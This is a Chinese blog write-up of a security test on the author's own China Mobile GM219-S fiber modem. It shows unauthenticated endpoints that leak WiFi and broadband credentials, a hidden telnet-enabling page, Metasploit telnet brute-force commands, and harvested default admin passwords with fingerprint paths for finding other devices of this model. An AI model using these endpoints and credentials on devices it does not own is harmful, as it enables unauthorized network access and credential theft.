记一次移动光猫(GM219-S)安全测试

前言

过个年,WiFi密码忘记了…光猫管理密码也忘记了(这个光猫也不支持物理按钮重置设置),但是手机还连着WiFi,正规操作找回不了密码,那就用咱们测试的思维来试试PWN掉这个路由器。

过程

未授权获取WiFi连接密码

还好之前没闲着,发现管理的几个未授权访问的接口如下:

获取宽带账号密码: /GET_USER_WAN_PPP_INFO.json

获取 WLAN 连接信息: /GET_WLAN_LINK_INFO.json

获取 DHCP 信息: /GET_NET_DHCP_INFO.json

手机访问 http://192.168.1.1/GET_WLAN_LINK_INFO.json ,获取密码:xxx,电脑连接登录

信息收集

端口收集结果

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 8080/tcp on 192.168.1.1

目录扫描结果

获得的一些目录:

/login.html
/login.asp
/index.asp
/telnet.asp
/upgrade.asp
...

突破口

在目录扫描的时候,发现/telnet.asp -> 跳转到 /cgi-bin/telnet.asp 如下图所示界面:

这个功能可以开启光猫的telnet服务,先开启,然后再使用Nmap扫描下端口:

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]
Discovered open port 8080/tcp on 192.168.1.1
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 8023/tcp on 192.168.1.1

发现多了个8023端口,其对应的服务果然是telnet:

8023/tcp open  telnet
| fingerprint-strings:
|   GenericLines:
|     Star-Net Broadband Router
|     Login:
|     Password:
|   GetRequest:
|     Star-Net Broadband Router
|     Login: GET / HTTP/1.0
|     Password:
|   Help:
|     HELP
|     Star-Net Broadband Router
|     Login: Password:
|   NCP:
|     Star-Net Broadband Router
|     Login: DmdT^@^@^@
|     ^@^@^@^A^@^@^@^@^@
|   NULL:
|     Star-Net Broadband Router
|     Login:
|   RPCCheck:
|     Star-Net Broadband Router
|     Login:
|     ^@^@(r
|   SIPOptions:
|     Star-Net Broadband Router
|     Login: OPTIONS sip:nm SIP/2.0
|     Via: SIP/2.0/TCP nm;branch=foo
|     From: <sip:nm@nm>;tag=root
|     <sip:nm2@nm2>
|     Call-ID: 50000
|     CSeq: 42 OPTIONS
|     Max-Forwards: 70
|     Content-Length: 0
|     Contact: <sip:nm@nm>
|     Accept: application/sdp
|     Password:
|   tn3270:
|     ^@IBM-3279-4-E
|     ^YStar-Net Broadband Router
|_    Login:

telnet开启,爆破一波走起。(Caimima生成个密码口令)

试了nmap貌似没啥用,开个msfconsole来爆破:

use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.1.1 #设置模板
set RPORT 8023 #设置端口
set USER_FILE /root/user.txt #设置用户字典
set PASS_FILE /root/pass.txt #设置密码字典
exploit 192.168.1.1 #启动

幸运的是爆破出来了,是组合弱口令:

获取密码

运行telnet 192.168.1.1 8023输入账号密码进去,执行sh发现可以直接进入shell:

接下来就是找密码到处瞎翻(没有PWN路由器的经验,很难受),执行 ls -a -l 发现有软链接,很多指向了/tmp目录:

于是进入/tmp目录,到处翻腾:

利用这几个关键词看看是否有文件中包含了:adminCMCC(中国移动)、passworduser

e.g. grep 'admin' ./*,等了老半天了,发现/tmp/ctromfile.cfg文件内有点东西:

复制密码登录,怼进去:

信息整合

做完测试并针对测试过程的信息进行整合,最后形成字典以便后面再次遇到~

  • 通过读配置文件获取的一系列用户名、密码:9vvrr、admin、aDm8H%MdA、CMCCAdmin、telnetuser、user

  • 文件、目录路径:

    • /GET_USER_WAN_PPP_INFO.json
    • /GET_WLAN_LINK_INFO.json
    • /GET_NET_DHCP_INFO.json
    • /telnet.asp
    • /index.asp
    • /user.html
    • /upgrade.asp
    • /cgi-bin/
    • /content.asp
  • 指纹特征:

    • 标题:HGU LOGIN
    • 图片:/webstyle/images/login-mobile-qrcode-anhui.png -> 23cb4f5e63e0cd47f8788a6ca3558eab
    • JS:/webstyle/js/br_login_nc.js

结尾

最后我只是默默的把user用户密码改了一下~

posted @   CN-SEC中文网  阅读(53)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示